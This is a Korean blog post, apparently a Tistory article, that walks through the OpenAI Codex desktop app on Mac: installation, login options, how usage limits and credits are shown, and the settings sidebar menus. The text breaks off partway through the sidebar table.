&lt;p data-ke-size=&quot;size8&quot;&gt;이 글은 OpenAI 공식 문서를 기준으로 Codex 앱의 설치&amp;middot;권한&amp;middot;설정&amp;middot;플러그인&amp;middot;자동화를 정리하고, 공식 문서에 아직 세부 설명이 부족한 부분만 실제 Mac 설정 화면으로 보완한 글이다. 공식 문서상 Codex 앱은 macOS와 Windows에서 제공되지만, 여기서는 Mac 화면과 macOS 권한 흐름을 중심으로 다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;사실 Codex 앱은 사용한지 오래 되었는데, 많이 활용하는 편은 아니었다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;그러던 중 최근 Codex 5.5로 업그레이드 되고 난 후 코딩에서 활용시에도 만족스럽고, 기획서를 만들어 가는데에도 많이 활용하고, 그 퀄리티가 많이 올라 가게 되었다.&amp;nbsp; (이 상세 활용에 대해서는 별도의 글에서 작성할 수 있도록 하겠다.)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이제 코덱스 앱에 대해서 충분히 알아갈만한 가치가 매우 커진것 같아서 Codex App에대해 하나하나 자세히 살펴보는 시간을 갖게 되었다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;ex) 개발 및 소스리뷰 진행 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;1352&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLo48Q/dJMcaakQoaI/fT2tvRJOCbwFPNaAZSfwOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLo48Q/dJMcaakQoaI/fT2tvRJOCbwFPNaAZSfwOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLo48Q/dJMcaakQoaI/fT2tvRJOCbwFPNaAZSfwOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLo48Q%2FdJMcaakQoaI%2FfT2tvRJOCbwFPNaAZSfwOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1986&quot; height=&quot;1352&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;1352&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;ex) 자주 사용하는 excel, powerpoint 플러그인&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;392&quot; data-origin-height=&quot;240&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvyQUA/dJMcadBNafc/vBLnEtCdioVkDPYH0L4Ip0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvyQUA/dJMcadBNafc/vBLnEtCdioVkDPYH0L4Ip0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvyQUA/dJMcadBNafc/vBLnEtCdioVkDPYH0L4Ip0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvyQUA%2FdJMcadBNafc%2FvBLnEtCdioVkDPYH0L4Ip0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;224&quot; height=&quot;137&quot; data-origin-width=&quot;392&quot; data-origin-height=&quot;240&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 검증 기준 --&gt;&lt;!-- 공식 기능 맵 --&gt;
&lt;div style=&quot;background-color: #fbfdfc; border: 1px solid #cfe7dc; border-radius: 12px; padding: 18px 20px; margin: 22px 0 30px 0;&quot;&gt;&lt;b&gt;공식 문서 기준 핵심 기능 맵&lt;/b&gt;
&lt;p style=&quot;margin: 8px 0 14px 0; color: #555;&quot; data-ke-size=&quot;size8&quot;&gt;OpenAI는 Codex 앱을 &quot;parallel threads, built-in worktree support, automations, Git functionality&quot;를 갖춘 데스크탑 경험으로 설명한다. 아래 기능들은 공식 Codex App 문서의 기능 목록을 기준으로 재구성한 것이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 12px 0 0 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;공식 기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;무엇을 의미하나&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;글에서 다루는 위치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Parallel project threads&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;여러 프로젝트 스레드를 나란히 실행하고 전환&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;사이드바, 사용량, &lt;code&gt;agents.max_threads&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Worktrees&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;병렬 변경을 Git worktree로 격리&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;깃 통합, 워크트리 자동 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Review and ship&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;diff 검토, 파일 stage, commit, push&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;깃 통합, ChatGPT 앱과의 차이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Automations&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;반복 작업 예약 또는 기존 스레드 웨이크업&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;Standalone vs Thread 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Computer use / Browser&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;macOS 앱, 브라우저 플로우, 로컬 페이지 테스트&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;플러그인, 권한, Computer Use 주의&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Plugins / Skills / MCP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;앱 통합, 재사용 지침, 외부 도구 서버 연결&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #a3d9c8;&quot;&gt;플러그인, MCP, 개인 맞춤&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f4fbf8; padding: 20px 25px; border-radius: 12px; border: 2px solid #a3d9c8; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #10a37f; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #a3d9c8; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a href=&quot;#install&quot;&gt;설치 &amp;middot; 계정 &amp;middot; 사용 한도&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a href=&quot;#sidebar-modes&quot;&gt;사이드바 + 작업 모드 + 권한 3단계&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a href=&quot;#general-options&quot;&gt;일반 / 받아쓰기 / 알림 / 후속 행동&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a href=&quot;#plugins&quot;&gt;플러그인 마켓 14개&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a href=&quot;#automations&quot;&gt;예약 채팅 자동화 &amp;mdash; Standalone vs Thread&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a href=&quot;#config&quot;&gt;config.toml + 샌드박스 + 승인 정책&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a href=&quot;#mcp&quot;&gt;MCP 서버 통합&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a href=&quot;#git&quot;&gt;깃 통합 &amp;mdash; 브랜치 접두사 &amp;middot; 워크트리&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a href=&quot;#personalization&quot;&gt;개인 맞춤 + 다른 에이전트 설정 가져오기&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a href=&quot;#vs-chatgpt&quot;&gt;ChatGPT Mac 앱과의 차이&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 1: 설치 · 계정 · 사용 한도 ===== --&gt;
&lt;h2 id=&quot;install&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 설치 &amp;middot; 계정 &amp;middot; 사용 한도&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서 기준으로 Codex는 ChatGPT Plus, Pro, Business, Edu, Enterprise 플랜에 포함된다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설치는 &lt;a href=&quot;https://chatgpt.com/codex?app-landing-page=true&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;chatgpt.com/codex&lt;/a&gt;에서 시작하면 되고, Mac 사용자는 Apple Silicon 또는 Intel용 DMG를 받는다. Windows는 Microsoft Store 경로가 따로 제공된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반적인 로그인 경로는 ChatGPT 계정이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서에는 OpenAI API 키 로그인도 가능하다고 되어 있지만, API 키 방식은 cloud threads 같은 일부 클라우드 기능이 제한될 수 있고 사용량 기반 API 과금이 적용된다. 따라서 데스크탑 앱을 일반 개발 워크플로우에 쓰려면 ChatGPT 계정 로그인을 기본 전제로 보는 편이 맞을 것 같다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사용 화면 읽는 법&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2150&quot; data-origin-height=&quot;1420&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cowY3k/dJMcacJLpuW/Ju5UVKWARXohZ1Tj8J3vNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cowY3k/dJMcacJLpuW/Ju5UVKWARXohZ1Tj8J3vNk/img.png&quot; data-alt=&quot;실제 화면: 사용 메뉴 &amp;amp;mdash; 일반 한도 / Spark 한도 / 잔액 영역이 분리되어 표시된다&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cowY3k/dJMcacJLpuW/Ju5UVKWARXohZ1Tj8J3vNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcowY3k%2FdJMcacJLpuW%2FJu5UVKWARXohZ1Tj8J3vNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2150&quot; height=&quot;1420&quot; data-origin-width=&quot;2150&quot; data-origin-height=&quot;1420&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;실제 화면: 사용 메뉴 &amp;mdash; 일반 한도 / Spark 한도 / 잔액 영역이 분리되어 표시된다&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;사용 메뉴에서는 실제 남은 한도를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 화면 기준으로는 &lt;b&gt;일반 사용 한도&lt;/b&gt;(5시간 / 주간), &lt;b&gt;GPT-5.3-Codex-Spark 사용 한도&lt;/b&gt;(5시간 / 주간), &lt;b&gt;잔액&lt;/b&gt; 영역이 분리되어 표시된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(글에서 자주 부르는 &quot;잔여 크레딧&quot;의 GUI 라벨은 &lt;i&gt;잔액&lt;/i&gt;이며 그 안에 &quot;0크레딧 남음&quot; 표시와 구매하기/자동 충전 설정 버튼이 있다).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반 사용 한도와 Spark 한도가 따로 보이는 이유는 GPT-5.3-Codex-Spark가 별도 usage limit을 가진 research preview 모델로 안내되기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;( 난 gpt pro 요금제 사용중이다. 현재 5월 2일기준)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;화면 항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;공식 문서 기준 해석&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;일반 사용 한도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;현재 계정의 기본 Codex 사용량. 화면에는 5시간 사용 한도와 주간 사용 한도가 함께 표시된다.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;공식 pricing 문서는 local messages와 cloud tasks가 5시간 창을 공유하고, 추가 주간 한도가 적용될 수 있다고 설명한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;GPT-5.3-Codex-Spark 사용 한도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Spark 모델용 별도 한도. 일반 사용 한도와 별도 섹션으로 표시된다.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;공식 pricing 문서는 GPT-5.3-Codex-Spark가 Pro 사용자 대상 research preview이며, 별도 사용 한도로 관리된다고 설명한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;잔액&lt;/b&gt; (GUI 라벨)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;포함 한도에 도달한 뒤 계속 작업할 때 사용할 수 있는 크레딧 잔액. 화면에는 &quot;0크레딧 남음&quot;과 함께 &lt;i&gt;구매하기&lt;/i&gt; 버튼이 표시된다.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;공식 pricing 문서는 Plus/Pro 사용자가 한도 도달 후 추가 크레딧을 구매할 수 있고, Business/Edu/Enterprise는 flexible pricing 조건에서 workspace credits를 사용할 수 있다고 설명한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;크레딧 자동 충전&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;잔액이 최소값에 도달하면 크레딧을 자동으로 추가하는 설정.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;공식 pricing 문서는 한도 도달 후 크레딧을 사용해 작업을 이어갈 수 있다고 설명한다. 자동 충전 토글은 앱 화면 기준 세부 UI다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;요약하면, 이 화면은 &quot;지금 얼마나 남았는가&quot;를 보는 곳이다. 구체적인 메시지 수는 모델과 작업 복잡도에 따라 범위로 계산되므로, 숫자를 외우기보다 일반 한도&amp;middot;Spark 한도&amp;middot;크레딧 잔액이 따로 움직인다는 점을 이해하는 것이 더 중요하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Fast 모드와 이미지 생성은 한도를 더 빨리 쓴다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size8&quot;&gt;공식 pricing 문서는 Fast 모드가 지원 모델에서 크레딧을 더 빠르게 소모하고, 이미지 생성은 일반 턴보다 평균 3-5배 빠르게 포함 한도를 사용한다고 안내한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size8&quot;&gt;또한 Free 플랜에서는 Codex 이미지 생성이 제공되지 않고, API 키 사용 시에는 ChatGPT 포함 한도 대신 API 가격이 적용된다고 명시한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size8&quot;&gt;이미지 생성 가능 여부와 별도 한도는 ChatGPT 플랜/지역/시점에 따라 달라질 수 있으므로, 여기서는 Codex 포함 한도에서 더 빠르게 차감될 수 있다는 점을 중심으로 이해하면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 2: 사이드바 + 작업 모드 + 권한 ===== --&gt;
&lt;h2 id=&quot;sidebar-modes&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 사이드바 + 작업 모드 + 권한 3단계&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설정 창을 열면 왼쪽 사이드바에 12개 메뉴가 보인다. 각 메뉴가 어떤 영역을 담당하는지 한 번 훑어 두면 이후 섹션이 빠르게 이해된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;280&quot; data-origin-height=&quot;742&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ylhar/dJMcabqx56b/TQnjY5xXQBZLVA5Py91Ul0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ylhar/dJMcabqx56b/TQnjY5xXQBZLVA5Py91Ul0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ylhar/dJMcabqx56b/TQnjY5xXQBZLVA5Py91Ul0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fylhar%2FdJMcabqx56b%2FTQnjY5xXQBZLVA5Py91Ul0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;148&quot; height=&quot;392&quot; data-origin-width=&quot;280&quot; data-origin-height=&quot;742&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사이드바 12개 메뉴&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;번호&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;메뉴&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;일반&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;작업 모드 &amp;middot; 권한 &amp;middot; 단축키 &amp;middot; 속도 &amp;middot; 후속 행동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;모양&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;테마 &amp;middot; 폰트 &amp;middot; 레이아웃&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;구성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;config.toml&lt;/code&gt; &amp;middot; 승인 정책 &amp;middot; 샌드박스 &amp;middot; Codex 종속성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;개인 맞춤 설정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;성격 &amp;middot; 맞춤형 지침 &amp;middot; 메모리(실험용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;MCP 서버&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;MCP 프로토콜 서버 추가/관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;깃&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;브랜치 접두사 &amp;middot; PR 병합 방식 &amp;middot; 워크트리 자동 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;7&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;환경&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;실행 환경 변수 &amp;middot; 셸 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;8&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;작업 트리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Codex가 만든 워크트리 목록(자동 삭제 토글&amp;middot;한도는 깃 메뉴에 있음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;9&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;브라우저 사용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;앱 내장 브라우저(Browser Use) 설정&lt;/td&gt;
&lt;/tr&gt;
